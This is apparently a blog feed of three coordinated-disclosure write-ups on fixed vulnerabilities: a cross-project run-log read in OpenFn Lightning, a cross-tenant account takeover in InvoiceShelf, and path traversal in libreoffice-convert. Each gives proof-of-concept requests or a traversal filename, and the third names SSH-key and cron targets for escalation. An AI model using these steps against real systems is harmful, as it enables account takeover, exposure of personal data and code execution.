DEV Community: Santosh Kumar Puppala

The guard checked the URL, not the record it returned (OpenFn Lightning, GHSA-vf9q-phg3-hqj6)

Santosh Kumar Puppala — Wed, 05 Aug 2026 03:34:51 +0000

TL;DR

What: A cross-project authorization bug in OpenFn Lightning — a viewer-role member of one project could read the full run detail (streamed logs, workflow name, step list, run creator's email) of a run belonging to any other project in the same instance.
Impact: Lightning is deployed by NGOs and governments to orchestrate sensitive pipelines (DHIS2 health records, humanitarian beneficiary data, civil registration). Those run logs carry real PII, so a low-privilege cross-project read is a serious confidentiality breach. OpenFn rated the advisory Critical.
Fixed in: v2.17.0 (2026-07-23). Advisory GHSA-vf9q-phg3-hqj6 (CVE requested/pending). Found through coordinated disclosure — I'm credited as a finder on the advisory alongside @lukegranto23.

Why you should care

Almost every multi-tenant app has this exact shape somewhere: a URL that carries two identifiers — one that scopes "who are you allowed to look at" and one that names "the thing you want" — and an authorization check that only looks at the first one.

It reads as safe in review because there is a check, right there at the top of the request. The trap is that the check validates the wrong noun. It confirms you belong to the project named in the path, then goes and fetches a record by a different id entirely, with no filter tying that record back to the project it just validated you against. The gate is real. It's just guarding a door that isn't the one the data walks through.

Lightning had the correct, scoped query already written and in use elsewhere in the same file. This one read path just didn't call it.

The setup

Lightning is an Elixir/Phoenix workflow-automation platform. Work is organized into projects; a project has members with roles (viewer, editor, admin). When a workflow executes it produces a run — with a step list, timing, exit codes, a streamed execution log, and the email of whoever kicked it off. You view a run at a route shaped like:

GET /projects/<project_id>/runs/<run_id>

Two identifiers in one URL. project_id is what the membership check keys off. run_id is a UUID that names the run you want to stream. Hold onto that distinction — the whole bug lives in the gap between them.

The bug (source → sink)

1. The route guard checks the URL project — and only that. The :project_scope hook (lib/lightning_web/hooks.ex) loads the project named in the path and confirms you're a member:

defp handle_project_scope(socket, params) do
  project_id = params["project_id"]
  project    = Projects.get_project(project_id)
  can?       = Permissions.can?(ProjectUsers, :access_project, current_user, project)
  # Checks: is current_user a member of the project_id from the URL?
  # Does NOT check: does the run at params["id"] belong to this project?
end

The membership check is role-agnostic — a :viewer passes just fine:

def can?(_actor, :access_project, user, project) do
  Projects.member_of?(project, user)   # user_id + project_id; any role passes
end

2. The run is then fetched by bare UUID, with no project filter. The streaming LiveView (lib/lightning_web/live/run_live/streaming.ex) calls Runs.get/2, which resolves to:

defp get_query(id, preloads) do
  from(r in Run,
    where: r.id == ^id,      # <-- the whole WHERE clause
    preload: ^preloads
  )
end

There is no where: ... and project_id == ^project_id. Any valid run UUID comes back regardless of which project owns it.

3. The URL project is then quietly overwritten by the run's own project. After the async fetch resolves:

def handle_async(:run, {:ok, updated_run}, socket) do
  socket =
    socket
    |> assign(:run, updated_run)
    |> assign(:project, updated_run.workflow.project)  # now Project A, not the URL's project
  ...
end

So the page finishes rendering in the foreign project's context — and streams its log lines straight to the browser over the LiveView socket:

push_event(socket, "logs-#{run.id}", %{logs: log_lines})

The "aha"

The check proved you belong to the project you named in the URL — and then handed you a run from a project you didn't.

Proof of concept (benign)

Two accounts on a build of the shipped tag, roles kept deliberately minimal:

Account A owns Project A, which has a run. I seeded one log line with a harmless marker: PROJECT-A-PII-LEAK-MARKER beneficiary=John_Doe nid=12345.
Account B is a viewer of a different project (Project C) and has no membership in Project A.

Account B requests its own project in the path, and Project A's run UUID as the record:

GET /projects/<Project_C_id>/runs/<Project_A_run_uuid>   ->  HTTP 200, RunLive mounts

The response carried Project A's workflow name, work-order id, the run creator's email (account_a@local.test), the step list, and the streamed log lines — including the planted marker. No admin role, no membership in Project A.

The control confirms the check does work — on the wrong noun:

GET /projects/<Project_A_id>/runs/<Project_A_run_uuid>   ->  302 redirect

Naming Project A in the path (which B isn't a member of) is correctly refused. The disclosure works because B substitutes a project it legitimately belongs to, while the run belongs to another. A request for a non-existent run UUID under B's own project returns an error — so the leak is specific to a valid foreign run id, not a generic error oracle.

The fix

Lightning already had the correctly-scoped query — the cancel path used it. Runs.get_for_project/2 joins work-order → workflow and filters on the project:

def get_for_project(run_id, project_id) do
  from(r in Run,
    join: wo in assoc(r, :work_order),
    join: wf in assoc(wo, :workflow),
    where: r.id == ^run_id and wf.project_id == ^project_id   # <-- the missing filter
  )
  |> Repo.one()
end

The fix (shipped in v2.17.0) is to fetch the run through that project-scoped query on the view/stream path too, so a run only resolves inside the project the user was actually validated against — and to apply the same scoping to the sibling call site in run_viewer_live.ex, which shared the exact unscoped fetch.

Takeaways

Authorize the object you return, not the identifier you were handed. A membership check on a URL parameter proves nothing about a record fetched by a different parameter. Scope the query that produces the data.
A guarded sibling is a spec you already wrote. When one path fetches with a project_id join and a neighboring path fetches by bare id, that asymmetry isn't style — it's a missing check. Grep for the scoped helper and find every caller that skipped it.
"There is a check" is not "the check covers this." Read-path authorization gaps hide behind real, working guards that validate the wrong thing. Trace the data from the sink back to the boundary, not from the guard forward.

Disclosure timeline

2026-06-16 — Reported to OpenFn via coordinated disclosure; local PoC confirmed against shipped tag v2.16.7.
2026-07-23 — Fixed in v2.17.0; advisory GHSA-vf9q-phg3-hqj6 published. OpenFn confirmed all supported instances were patched.
CVE: requested / pending at time of writing.

Credit / CTA

Found and reported under coordinated disclosure by Santosh Kumar Puppala and @lukegranto23 — both credited as finders on the advisory; OpenFn addressed it in v2.17.0. (The advisory covers the same missing-scope pattern across many surfaces in the product; this post walks one representative read path.) If you run a multi-tenant app, the one-hour version of this post is: search your read paths for a resource fetched by bare id right after a scope check on a different id — that's where this class lives.

Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq & Veridor). GitHub: @Santoshkumarpuppala

How one Owner could take over any account in another company — cross-tenant IDOR in InvoiceShelf (CVE-2026-55610)

Santosh Kumar Puppala — Wed, 05 Aug 2026 03:04:18 +0000

TL;DR

InvoiceShelf (self-hosted, multi-company invoicing) let any company Owner read and overwrite any user in any other company on the same installation.
GET/PUT /api/v1/users/{id} resolved the user by global primary key, and the policy only checked that you own your header-company — never that the target belonged to it. Result: cross-tenant account takeover (overwrite email + password, and re-assign the victim into your company as super-admin).
High, CVSS 8.7 (CWE-639). Fixed in 2.4.1. I reported it and am credited as Reporter — CVE-2026-55610.

Why you should care

Multi-tenant apps live or die on one invariant: tenant A can never touch tenant B's data. InvoiceShelf enforced that on the delete path but quietly forgot it on read and update of users — the highest-value object in the app. That one asymmetry turned "manage my company's users" into "manage everyone's."

The setup

InvoiceShelf is a Laravel app where each request carries a company header, and a middleware pins that header to one of the requester's companies. Users are managed through a standard resource route.

The bug (source → sink)

The route uses implicit route-model binding — Laravel resolves {user} straight from the global users table by primary key:

// routes/api.php
Route::apiResource('/users', UsersController::class); // auth:sanctum + company + bouncer

// UsersController.php
public function show(User $user) { ... }                     // $user bound by GLOBAL primary key
public function update(UserRequest $r, User $user) { ... }

Authorization is delegated to UserPolicy, which leans on isOwner():

// UserPolicy.php
public function view(User $me, User $target)   { if ($me->isOwner()) return true; /* ... */ }
public function update(User $me, User $target) { if ($me->isOwner()) return true; /* ... */ }

// User.php
public function isOwner() {
    return Company::find(request()->header('company'))->owner_id === $this->id;
}

isOwner() only asks "is the requester the owner of the company in their own header?" — it never checks that $target belongs to that company. So an Owner of Company A sails through the check for a user who lives entirely in Company B.

The "aha"

The check verified who you are, never who the target is — so isOwner() was a global skeleton key, not a tenant boundary.

Proof of concept (benign)

Company A (owner: alice), Company B (owner: bob); carol (id 7) belongs to Company B only.

# as alice, header  company: A
GET  /api/v1/users/7                                        -> 200, returns carol (Company B)
PUT  /api/v1/users/7  { email, password,
                        companies: [{ id: A, role: "super admin" }] }   -> 200
# carol's email + password overwritten; carol re-synced into Company A as super-admin

# control: a non-owner member of A
GET  /api/v1/users/7                                        -> 403
# the route IS access-controlled; the bug is specifically the missing target-company check for owners

The fix

Version 2.4.1 scopes the check to the requester's company — exactly the way the delete() path already did (its code even carried the comment "so a user from one company cannot delete accounts belonging to another"). After the owner check, verify the target belongs to the active company ($target->hasCompany($company) / User::whereCompany(...)), or constrain the route-model binding to the active company.

Takeaways

Read and write paths need the same tenant scoping. A guard on delete means nothing if view/update skip it — attackers just pick the unguarded verb.
Implicit route-model binding by global PK is a footgun in multi-tenant apps. Bind within the tenant scope, or you've shipped a global object lookup.
"Am I an owner?" is not "am I allowed to touch this object?" Authorize the object, not just the role.

Disclosure timeline

2026-06-13 — reported privately via GitHub private vulnerability reporting.
Fixed in 2.4.1; advisory GHSA-vgx6-6cqr-m8qr published; CVE-2026-55610 assigned; credited as Reporter.

Advisory: GHSA-vgx6-6cqr-m8qr / CVE-2026-55610 (High, 8.7). Thanks to the maintainer for the quick fix.

Your turn: how do you keep read and write authorization in sync across a multi-tenant app — shared policy helpers, a global tenant scope, tests that assert 403 across tenants? Curious what's worked for you.

Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq and Veridor). GitHub: @Santoshkumarpuppala.

One unchecked filename let a popular npm document converter write to any path on disk (CVE-2026-54732)

Santosh Kumar Puppala — Sun, 02 Aug 2026 15:24:41 +0000

TL;DR

libreoffice-convert, a widely used npm wrapper around LibreOffice, built the output path from a caller-supplied fileName and never reduced it to a base name.
A fileName containing ../ escaped the temp directory, so a caller could write arbitrary content to any path the process could write to — ~/.ssh/authorized_keys, an /etc/cron.d entry, a web root. Arbitrary file write, one short hop from RCE.
Fixed in 1.8.2 (adds path.basename). Assigned CVE-2026-54732 (Moderate, 6.5). I reported it and am credited as Reporter.

Why you should care

libreoffice-convert is a small, popular building block: apps call it to turn a DOCX/HTML/ODT buffer into a PDF. It's exactly the kind of dependency that quietly sits behind an "upload and convert" feature. And in document pipelines, the filename is very often influenced by user input — so this turns an innocent "convert my file" into "write a file wherever you want."

The setup

The API looks harmless — you hand it a buffer and a target format:

const libre = require('libreoffice-convert');
// convert a buffer to PDF, with a caller-provided output fileName
libre.convertWithOptions(inputBuffer, '.pdf', undefined, { fileName });

Internally, the converted document is written into a temporary directory, using that fileName.

The bug

Simplified, the vulnerable path looked like this:

const outPath = path.join(tempDir.name, fileName); // fileName is caller-controlled
fs.writeFile(outPath, documentBuffer, ...);         // written verbatim

fileName is never reduced to a base name before it's joined. And path.join is not a sandbox — it happily resolves .. segments:

path.join('/tmp/abc123', '../../../../home/app/.ssh/authorized_keys')
// => '/home/app/.ssh/authorized_keys'

So the write lands wherever the traversal points.
libreoffice-convert -> Filesystem, escapes tmpDir into an arbitrary file write, fixed by path.basename in v1.8.2" width="800" height="476">

The "aha"

The library treated fileName as a name, but path.join treats it as a path — and nobody called path.basename() in between.

Proof of concept (benign)

A marker file, not a weapon — just enough to prove the write escapes the temp dir:

libre.convertWithOptions(buf, '.pdf', undefined, {
  fileName: '../../../../tmp/pwned-by-poc.pdf'
});
// -> writes to /tmp/pwned-by-poc.pdf, outside the intended temp directory

Repoint that fileName at ~/.ssh/authorized_keys, an /etc/cron.d/* file, or a script inside a web root, and "arbitrary file write" becomes "arbitrary code execution."

The fix

Version 1.8.2 wraps the value in path.basename(fileName), which strips any directory components so the write can't leave the temp directory. One line.

If you use this package: upgrade to >= 1.8.2. If you're pinned for now, call path.basename() on any filename you pass in — and never forward a user-supplied filename unvalidated.

Takeaways

Any time you build a filesystem path from a caller-supplied string, path.basename() it. path.join cleans .., it doesn't contain it.
"It's just a filename" is a trap. In upload/convert/document pipelines, the filename is routinely attacker-influenced.
Write-path bugs are quieter than read-path ones and often worse: arbitrary write is a short hop to RCE via SSH keys, cron, or a web root.

Disclosure timeline

2026-06-09 — reported privately to the maintainer (and via Snyk), coordinated disclosure.
2026-07-04 — fix released in 1.8.2 (path.basename); advisory published.
CVE-2026-54732 assigned; credited as Reporter.

Advisory: GHSA-gmxc-r82q-347r / CVE-2026-54732. Thanks to the maintainer for the fast, clean fix.

Your turn: do you have a hard rule for user-supplied filenames in your services, or is it case-by-case in review? What's caught this for you — lint, a wrapper, a code-review checklist? Curious what people use.

Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq and Veridor). GitHub: @Santoshkumarpuppala.